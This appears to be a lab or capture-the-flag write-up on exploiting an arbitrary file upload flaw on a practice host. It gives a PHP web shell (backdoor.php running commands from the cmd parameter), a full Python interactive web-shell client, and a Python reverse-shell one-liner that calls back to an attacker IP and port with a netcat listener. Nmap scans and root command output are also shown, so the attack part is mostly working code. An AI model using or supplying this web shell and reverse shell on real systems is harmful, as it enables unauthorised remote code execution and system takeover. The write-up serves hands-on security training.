ARBITRARY FILE UPLOAD

Allowing unrestricted file uploads can lead to remote code execution (RCE) and complete system compromise. below are the flaws that contribute to arbitrary file upload

  • Unrestricted File Upload – The application allows arbitrary file uploads, including PHP scripts, without proper validation or restrictions.

  • MIME Type Misconfiguration – The uploaded file retains its PHP MIME type (application/x-php), indicating no enforcement of safe content types (e.g., application/octet-stream or text/plain).

  • Extension Bypass Possibility – There is no restriction on file extensions, allowing direct .php uploads. Attackers could also try bypasses such as .jpg.php or .PHP.

  • Lack of Content Inspection – No checks (e.g., file_get_contents()) appear to be in place to detect embedded PHP code.

  • Disclosure of Upload Path – The server reveals the exact location of the uploaded file (/uploads/backdoor.php), aiding attackers in execution.

root@oco:~$ sudo nmap -sV -sC -T4 10.129.202.133 -p-
 PORT     STATE SERVICE VERSION
 3000/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title.
 3001/tcp open  http    PHP cli server 5.5 or later
 |_http-title: Login
 3002/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title.
 3003/tcp open  http    PHP cli server 5.5 or later (PHP 7.4.3)

root@oco:~$ sudo nmap --script=vuln -T4 10.129.202.133 -p 3000,3001,3002,3003
 PORT     STATE SERVICE
 3000/tcp open  ppp
 3001/tcp open  nessus
 3002/tcp open  exlm-agent
 3003/tcp open  cgms

root@oco:~$ BROWSER > http://10.129.202.133:3001/
 
 * anonymous file upload in the open
root@oco:~$ nano backdoor.php
 <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

root@oco:~$ BROWSER > http://10.129.202.133:3001
 Anonymous upload: backdoor.php
  Your file is uploaded to /uploads/backdoor.php
  
root@oco:~$ nano webShell.py
 import argparse, time, requests, os
 parser = argparse.ArgumentParser(description="Interactive Web Shell for PoCs") 
 parser.add_argument("-t", "--target", help="Specify the target host E.g. http://<TARGET IP>:3001/uploads/backdoor.php", required=True) 
 parser.add_argument("-p", "--payload", help="Specify the reverse shell payload E.g. a python3 reverse shell. IP and Port required in the payload")
 parser.add_argument("-o", "--option", help="Interactive Web Shell with loop usage: python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes")
 args = parser.parse_args() 
 if args.target == None and args.payload == None: 
   parser.print_help() 
 elif args.target and args.payload: 
   print(requests.get(args.target+"/?cmd="+args.payload).text) 
 if args.target and args.option == "yes": 
   os.system("clear") # clear the screen (linux)
     while True: 
       try: 
         cmd = input("$ ") 
         print(requests.get(args.target+"/?cmd="+cmd).text) 
         time.sleep(0.3) # waits 0.3 seconds during each request
       except requests.exceptions.InvalidSchema:
         print("Invalid URL Schema: http:// or https://")
       except requests.exceptions.ConnectionError:
         print("URL is invalid")
         
 * # imports four modules argparse (used for system arguments), time (used for time), requests (used for HTTP/HTTPs Requests), os (used for operating system commands)
 * partse = argparse.ArgumentParser(): # generates a variable called parser and uses argparse to create a description
 * # specifies flags such as -t for a target with a help and required option being true
 * args... # defines args as a variable holding the values of the above arguments so we can do args.option for example.
 * # checks if args.target (the url of the target) and the payload is blank if so it'll show the help menu
 * # shows help menu
 * # elif (if they both have values do some action)
 * ## sends the request with a GET method with the targets URL appends the /?cmd= param and the payload and then prints out the value using .text because we're already sending it within the print() function
 * # if the target option is set and args.option is set to yes (for a full interactive shell)
 * # starts a while loop (never ending loop)
 * # defines a cmd variable for an input() function which our user will enter
 * # same as above except with our input() function value
 
#interactive method 
root@oco:~$ nc -nlvp 8088

root@oco:~$ python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes

$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.45",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

root@oco:~$ nc...
# uname -a
 Linux nix01-websvc 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
#alternative methods

#method 1: non-interactive - single cmd execution (CLI)
root@oco:~$ python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes
$ id
 uid=0(root) gid=0(root) groups=0(root)
 
#method 2: non-interactive - single cmd execution (BROWSER)
BROWSER > http://10.129.202.133:3001/uploads/backdoor.php?cmd=%27ls%27
 * add ?cmd={id}

Last updated